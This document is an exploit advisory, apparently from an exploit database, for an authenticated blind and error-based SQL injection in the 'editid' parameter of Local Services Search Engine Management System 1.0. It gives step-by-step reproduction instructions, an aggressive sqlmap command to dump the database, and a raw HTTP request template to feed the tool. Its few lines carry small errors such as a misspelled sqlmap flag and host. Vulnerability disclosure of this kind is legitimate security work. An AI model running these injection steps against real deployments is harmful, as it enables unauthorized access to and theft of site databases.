34 lines
No EOL
1.5 KiB
Text
34 lines
No EOL
1.5 KiB
Text
# Exploit Title: Local Services Search Engine Management System (LSSMES) 1.0 - Blind & Error based SQL injection (Authenticated)
|
|
# Date: 2021-03-02
|
|
# Exploit Author: Tushar Vaidya
|
|
# Vendor Homepage: https://phpgurukul.com/local-services-search-engine-management-system-using-php-and-mysql/
|
|
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=10867
|
|
# Version: v1.0
|
|
# Tested on: Ubuntu
|
|
# Detail walkthrough: https://medium.com/@tusharvaidya16/authenticated-blind-error-based-sql-injection-on-local-services-search-engine-management-system-3e99779f0850
|
|
|
|
*Steps to Reproduce:*
|
|
1) Login with Admin Credentials and click on the *Service Category* button.
|
|
2) Click on the *Manage Category* button.
|
|
3) Now add the double quote ( " ) in the URL after *editid parameter*
|
|
4) At that time we observe that the application is misbehaving now capture this request from the burp suite and save it into an SQL text file.
|
|
4) Now fire up the following command into SQLMAP
|
|
|
|
CMD: sqlmap -r sql_file.txt --data="editid=1" --curent-db --level 5 --risk 3
|
|
|
|
4) We got a database.
|
|
|
|
*Below request from sql_file.txt*
|
|
|
|
GET /LSSMES/lssems/admin/edit-category-detail.php?editid=* HTTP/1.1
|
|
Host: localhost
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:86.0) Gecko/20100101
|
|
Firefox/86.0
|
|
Accept:
|
|
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Connection: close
|
|
Referer: http://lcoalhost/LSSMES/lssems/admin/manage-category.php
|
|
Cookie: PHPSESSID=rinoskt58u1hpa8s6i7di53rbc
|
|
Upgrade-Insecure-Requests: 1 |